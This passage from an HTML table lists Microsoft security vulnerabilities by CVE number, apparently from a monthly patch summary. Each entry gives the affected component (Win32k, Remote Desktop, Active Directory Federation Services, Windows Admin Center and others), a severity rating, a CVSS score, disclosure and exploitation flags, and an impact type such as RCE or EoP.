 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
